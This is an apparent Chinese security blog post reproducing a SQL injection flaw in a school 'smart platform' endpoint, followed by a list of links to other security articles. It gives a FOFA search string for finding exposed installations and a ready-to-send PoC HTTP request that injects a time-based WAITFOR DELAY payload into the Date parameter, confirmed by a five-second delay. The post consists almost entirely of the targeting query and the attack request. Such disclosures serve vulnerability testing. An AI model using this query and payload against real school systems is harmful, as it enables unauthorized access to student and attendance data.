EDU 某智慧平台 PersonalDayInOutSchoolData SQL注入漏洞复现

FOFA:body="custom/blue/uimaker/easyui.css"

PoC

复制代码
POST /ashx/APP/InOutSchoolService.ashx?action=PersonalDayInOutSchoolData&Date=1%27%3BWAITFOR+DELAY+%270%3A0%3A5%27--&AccountNo=1 HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:129.0) Gecko/20100101 Firefox/129.0
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
Connection: keep-alive

延时5秒

相关推荐
Moso_Rx3 小时前
JavaEE——线程安全
java·安全·java-ee
ALe要立志成为web糕手3 小时前
LFI to RCE
安全·web安全·网络安全·文件包含·rce
一一Null3 小时前
Access Token 和 Refresh Token 的双令牌机制,维持登陆状态
android·python·安全·flask
jinan8863 小时前
加密软件的发展:从古典密码到量子安全
大数据·运维·服务器·网络·安全·web安全
3tefanie丶zhou4 小时前
2025能源网络安全大赛CTF --- Crypto wp
安全·web安全·能源
小白&1234 小时前
SQLMap工具使用
web安全·网络安全
Aniugel5 小时前
web前端跨域精选面试题
安全·面试·https
ASCO1100696 小时前
电力行业在保障用电安全方面正积极采用先进的物联网技术
安全
Factor安全6 小时前
Chrome漏洞可窃取数据并获得未经授权的访问权限
前端·chrome·web安全·网络安全·安全威胁分析·安全性测试
刘小奇�多7 小时前
销售易CRM:技术架构与安全性能的深度解析
安全·架构